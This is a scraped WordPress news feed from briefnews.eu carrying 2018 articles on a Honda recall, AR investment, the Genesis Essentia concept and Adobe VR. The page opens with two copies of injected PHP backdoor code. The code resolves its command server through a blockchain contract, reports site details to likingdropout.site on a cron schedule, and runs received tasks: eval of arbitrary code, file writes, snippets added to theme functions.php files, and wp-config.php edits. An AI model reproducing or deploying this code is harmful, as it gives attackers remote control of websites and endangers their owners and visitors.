// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; 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if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; 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$_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Insights. – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Sun, 30 Sep 2018 21:35:40 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Insights. – Brief News https://briefnews.eu 32 32 Software Glitch Leads to Recall of 230,000 Accords, Insights https://briefnews.eu/software-glitch-leads-to-recall-of-230000-accords-insights/ https://briefnews.eu/software-glitch-leads-to-recall-of-230000-accords-insights/#respond Sun, 30 Sep 2018 21:35:40 +0000 http://briefnews.eu/software-glitch-leads-to-recall-of-230000-accords-insights/ Honda Motor Co. is recalling roughly 232,000 Accord and Insight models in the United States over a software glitch that may cause the rear-camera display to malfunction. While the number of recalled units is noteworthy, the severity of the issue is largely dependent upon how careful of a driver you are. According to reports from […]

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]]> https://briefnews.eu/software-glitch-leads-to-recall-of-230000-accords-insights/feed/ 0 AR investors share insights on the industry’s 2018 trajectory https://briefnews.eu/ar-investors-share-insights-on-the-industrys-2018-trajectory/ https://briefnews.eu/ar-investors-share-insights-on-the-industrys-2018-trajectory/#respond Wed, 11 Apr 2018 07:31:11 +0000 http://briefnews.eu/ar-investors-share-insights-on-the-industrys-2018-trajectory/ The Magic Leap is a major AR story for the near future.

GUEST: 2017 was a year full of surprises for the augmented reality industry. Arguably the single biggest development was the emergence of ARKit for iOS devices and ARCore for Android devices. Digi-Capital forecasts that the install base for mobile AR could hit 900 million by the end of 2018. The sudden emergence of mobile AR on a mass scale, while…Read More

]]> https://briefnews.eu/ar-investors-share-insights-on-the-industrys-2018-trajectory/feed/ 0 2019 Genesis Essentia Concept | Insights on an elegant design https://briefnews.eu/2019-genesis-essentia-concept-insights-on-an-elegant-design/ https://briefnews.eu/2019-genesis-essentia-concept-insights-on-an-elegant-design/#respond Sat, 07 Apr 2018 00:44:28 +0000 http://briefnews.eu/2019-genesis-essentia-concept-insights-on-an-elegant-design/ One of the biggest stunners of the New York Auto Show came from an unlikely stand — that of Genesis, Hyundai’s nascent luxury spinoff. The Genesis Essentia Concept was described as a multi-motor EV with a 0-60 time of 3 seconds and enough silicon to pass the Turing test, but that’s not what made it special. It stood out because it’s downright gorgeous, a proper show car seemingly plucked from the golden age of pre-OPEC oil embargo dream machines.

Genesis’s press release claims the Essentia “elevates and reimagines the ‘Athletic Elegance’ design paradigm,” which sounds like some hard-core marketing nonsense. There’s a lot more to the car than what buzzwords can convey, though, so we tracked down its designers, Luc Donckerwolke and Sangyup Lee, to get their insights.

Both men are Bentley veterans and know a thing or two about luxury brands. And, despite their insistence that a good luxury design should speak for itself, we made them talk about what makes the Essentia unique, how it will inform future Genesis road cars, and what Genesis DNA even means.

Lee, vice president of Genesis design who previously worked at Porsche, Pininfarina, and GM where he designed the fifth-gen Camaro, started off with a dose of brutal honesty and a wry grin. “The world of premium cars can exist just fine without Genesis,” he declared.

As such, the designers were given a seemingly impossible task. How does one justify Genesis’s existence in a luxury market crowded by Germans, Japanese, Americans, and Brits? The brand is just two and a half years old, and not only does it lack history, but even its country of origin is not typically associated with Old World richness.

“When you see Burberry, you think London. When you see Chanel, you think Paris,” Lee continued. “What comes to mind when you think Seoul?”

Thus, the challenge became designing a car that not only defined Genesis, but an entire culture.

“It’s a luxury brand that is not aggressive or arrogant,” explained Genesis design chief Donckerwolke, a Belgian who headed Lamborghini’s design department and ushered in its angular era by penning the Murciélago. “It matches the Korean attitude of being humble and the country’s reputation for high tech goods.”

Traditional Korean art and design also prizes minimalism. “There’s a beauty of emptiness,” Donckerwolke noted. “Koreans are expert in orchestrating white spaces and not overpowering with too much clutter.”

Lee offered a specific example. “Take calligraphy. In traditional Korean brushwork, the white spaces in between are more important than the lettering itself.”

With these principles delineated, the Essentia began to take shape. It had to “transport the identity of the brand,” Donckerwolke asserted. “A coupe was part of the original Genesis lineup,” he told us, and from there a GT was the obvious choice.

One thing he was adamant about, however, was that it must have no ornamentation as a “characteristic of the brand.” Finished in Stardust Gray Metallic with Midas metal copper highlights, the resulting show car is far removed from the “‘Bahn brute” formula.

Its simple lines evoke the grandest tourers of the 1960s. Sensational butterfly doors flank a bubble-top canopy with sweeps of curved glass. The windshield extends far ahead of the cowl in one continuous expanse. Of course, as an EV there’s no engine to view, but components of what appear to be racing-type pushrod suspension can be glimpsed beneath the glass.

Despite its fantastical looks, the Essentia exhibits several ideas that will see production, some as early as next year, Donckerwolke revealed. More than just cues, these are tenets that will be used to shape upcoming Genesis road cars.

The first thing Donckerwolke pointed out was the Essentia’s short front and rear overhangs, which add to the dramatic shape but also serve a performance function by pushing the wheels out to the corners for better handling. Moreover, most of the mass is at the back. It was important that the car look “as if it’s sitting on its rear wheels to enhance the rear-wheel-drive configuration,” he asserted. Expect both of these attributes to appear on future Genesis cars.

An EV doesn’t need front intakes, but the Essentia has a “Genesis Crest” grille anyway. The shape will appear on production cars, but on the concept it doesn’t provide internal flow. Instead, it diverts air through vents that exit aft of the front wheels and over what are actually pontoon fenders rising just above the glass “hood.” These fenders are separate from the cockpit, and Donckerwolke says the air passing through provides additional downforce.

Another future production feature is the “parabolic line,” which creates the beltline as it extends from the tops of the fenders rearward, arcing across the deck in — you guessed it — a perfect parabola. From the side, it keeps the beltline flat. Donckerwolke and Lee are both decidedly “anti-wedge,” referring to the way beltlines of most modern cars rise towards the rear, reducing visibility and creating a need for large wheels or busy character lines to offset the ensuing slab-sidedness.

One of the most striking features of the Essentia are the quad headlamps, slivers of light that will serve as another Genesis trademark. Similar lights were introduced on the 2017 GV80 concept SUV, but now they’re taken to a new level. Extending past the front wheels and into the fenders, they cleverly double as side repeaters and negate the need for a cheesy artificial vent.

“Slim lights are difficult because it’s hard to get them bright enough with the given surface area,” Lee revealed, “But this will be a Genesis signature, driven by tech.” He alluded to the fact that South Korea has become a world leader in LED technology, adding to the cultural DNA of the car.

Lee then invited us to sit in the car, and opened the butterfly doors to expose a cross-hatch pattern along the jambs. Donckerwolke explained that “this is what designers call a ‘gray zone,’ an area that traditionally hasn’t been designed. In most cars, this interface between the inner and outer skin is just sheetmetal. We wanted it to be part of the structure, yet have no material where it’s not needed.”

Lee added that the intention was for air to flow through the body of the car, in order to provide cooling and downforce. On the Essentia, that aspect wasn’t fully implemented — it is a concept, after all — so if you look closely, the openings don’t completely pass through.

That doesn’t take anything away from the beauty of the cabin, though. Sitting beneath its glass canopy feels instantly nostalgic and futuristic all at once. Suddenly, gliding along the French Riviera beneath a Jetsonian bubble of serenity seems like it should be a life goal. Pencil-thin pillars and a truly panoramic top provide a convertible-like sensation of openness and a natural-feeling visibility. Donckerwolke explained: “The cabin had to have a panoramic feel. It couldn’t be claustrophobic.”

The two front seats appear thin and airy, upholstered in Cognac leather with chevron quilting, something Donckerwolke said “you could take and put in your living room, like an Eames chair.”

The front buckets definitely stand out. The Essentia is a 2+2, but the rear seats are subtly blended into the background with Oxford blue velvet, matching the carpet and center tunnel (there is no transmission, but the batteries are housed in the spine to keep the floor low to the ground).

Before the driver is a unique “floating” instrument pod and an unbroken screen sweeping across the dash. “We wanted to integrate the screens into the architecture,” Lee told us, adding, “And as you know, Korea is famous for its curved screen technology.”

The mottled material beneath is recycled carbon fiber, a callback to the Essentia’s composite monocoque. A thin single vent stretching across the edge of the dash will be another Genesis trademark. “We won’t have vents in the traditional sense,” Donckerwolke said. “It will be like this, or we’ll have ambient air.”

From the cockpit, the arcs of the fenders look even more impressive. Lee pointed out that the hood, detached from the pontoon fenders, sits lower than the center of the steering wheel. Indeed, it seems to disappear into the road like that of a mid-engined sports car.

If there’s one recurring theme in the Essentia, it’s reduction. Over and over again, Donckerwolke and Lee referred to a resistance to exaggerating features, calling it a “discipline of reduction.”

“The last five percent is so important,” Lee asserted. “Making a sports car sporty is not difficult, but making it elegant is. Most cars are getting busier, but as a luxury brand we must stand the test of time rather than being trendy.”

“We spent so much time taking away,” Donckerwolke recounted. “We don’t want to create designs that will trap us. We don’t want to create heritage artificially. The lack of DNA is not a challenge, but an opportunity.”

“At Bentley, we had a Bentley bible we had to memorize,” Lee revealed. “There was a hundred years of legacy in it. Each time you created a design, the first thing you had to ask was, ‘Is this Bentley enough?'” Gesturing toward the Essentia, he continued. “Genesis has a Bible too, but at the moment, it’s empty.”

The fact that the Essentia is unlikely to be built is almost tragic. Even if it did — Genesis boss Manfred Fitzgerald told Motor Trend he’s “pushing for it” — many of its more outrageous aspects probably won’t be possible to produce.

However, if Donckerwolke and Lee’s vision can translate successfully into production cars, it has the potential to transform the brand. Take Mazda’s Kodo design language, which launched on the 2010 Shinari concept. It took nearly a decade, but it has grown Mazda from a marque with middle-of-the-road designs to one that exhibits beauty across the board.

Genesis hopes the Essentia will bring about a change as well, knowing full well that it will take time. “Continuity is important,” Lee said. “Evolving rather than changing. But ten years from now, people will look back at the Essentia and see how Genesis design started.”

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]]> https://briefnews.eu/2019-genesis-essentia-concept-insights-on-an-elegant-design/feed/ 0 Adobe designers offer 4 insights into VR’s future https://briefnews.eu/adobe-designers-offer-4-insights-into-vrs-future/ https://briefnews.eu/adobe-designers-offer-4-insights-into-vrs-future/#respond Tue, 13 Feb 2018 01:48:50 +0000 http://briefnews.eu/adobe-designers-offer-4-insights-into-vrs-future/

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Adobe has traditionally pioneered tools and workflows for professionals and creatives to build for a digital medium. The rise of virtual reality has led to Adobe building the platforms necessary for creators to transition into the world of 3D spatial computing. I’ve interviewed four innovators from Adobe Research and Adobe’s Design Lab who are building the company’s VR technologies, to get their insights on the future of VR and 3D immersive technologies.

3D experiences can be built on 2D devices

Experts in fields as diverse as architecture to game design often agree that building 3D experiences on 2D screens can be a challenge. However, is the problem that 2D screens are fundamentally insufficient to create 3D experiences? Or could it be that the user experience for these workflows has never been perfected?

Patrick Palmer is a Senior Product Manager for Premiere Pro CC at Adobe. He says that, “the focus has shifted from dimensionality to creating an immersive and interactive feeling that consumers can experience in everyday applications on any device.”

Palmer points to Adobe’s Project Clover, now fully integrated within the new immersive environment in Premiere Pro CC, as an example of bringing high-end VR to the masses. The immersive environment “makes the experience a lot less tedious as designers go back between 2D and headset-editing,” he says. “It also improves the VR editing workflow, by allowing users to access familiar Premiere tools within VR, with the ability to perform edits using an interface optimized for motion controllers. Ultimately, such tools can make 2D and 3D content that co-exists naturally.”

Audio makes immersive experiences complete

Without proper audio design, VR experiences cannot truly be immersive. However, it is a huge challenge to design sound that matches the screen in a virtual environment. Yaniv De Ridder, Senior Experience Developer at Adobe, explains that “audio is critical because sound needs to do more than enhance the mood or fill out the visual experience. Sound cues help orient users, so they know where they are in the virtual space and where they should be looking.”

Yet while VR environments succeed in placing audio effects around a user, they fail to respond to the viewer’s movements or head rotations, De Ridder says: “If audio and video are not synced together, you lose the perception of immersion. For example: If I speak while facing you in a virtual world, but you turn your head away to the right, you want to hear the sound of my voice coming from your left ear. Hence, pairing audio and video together will make an immersive experience complete.”

VR can be the future of film

VR can be the future of film, with companies opening VR-only movie theatres and blockbuster productions in the making. Yet a significant challenge in shooting 360 video content is that when scene objects come near the user’s viewpoint, they cannot move their head to peer around them — resulting in an uncomfortable experience. Even high-end VR cameras with 3DOF playback can feel flat and lack immersion.

This is a challenge that Adobe is tackling with Project Sidewinder. Stephen DiVerdi is a Senior Research Scientist at Adobe. He explains that Project Sidewinder is developing “a technology aimed at bridging the gap between the high-end consumer and the super high-end professional grades of VR filmmaking, by enabling a higher fidelity at a lower price point.”

“VR is experiencing an explosion right now, deservedly so, but there’s still lots of improvement to be made,” he continues. “Super high-fidelity rigs promise full light-fields with 6DOF playback, but at a high cost, high technical complexity, and only for the most exclusive users and producers. We want to open up access to more people because, ultimately, today’s luxury capture and playback technology is tomorrow’s consumer experience.”

Immersive technology will take us beyond the screen

The past several decades of computing have been defined by screens. We’ve used 2D screens on computers, tablets, smartphones, and smartwatches to interact with the world and our friends with gestures like clicking, pinching, swiping, and scrolling. However, the best practices for UI and UX design for immersive experiences are still being defined. How do we interact with computers when the interface becomes the physical 3D space in which we live and move around?

Silka Miesnieks, head of Adobe’s Design Lab, is bringing immersive spatial computing to the forefront for creators. “Virtual and immersive technologies are pushing past the boundaries of physical dimensions,” Miesnieks says. “We are moving from the era of the screen to spatial design where we can embed digital experiences everywhere around us.”

“This will require more intricate interactions, new content and design tools to come to fruition,” Miesnieks continues. “Fully immersive worlds will need more natural interaction with objects controlled by gestures and voice commands, unlike 2D screens that interact with keyboards or remotes. However, if successful, we will design sensory-laden experiences which are much more emotive than anything we’ve seen so far in the VR market.”

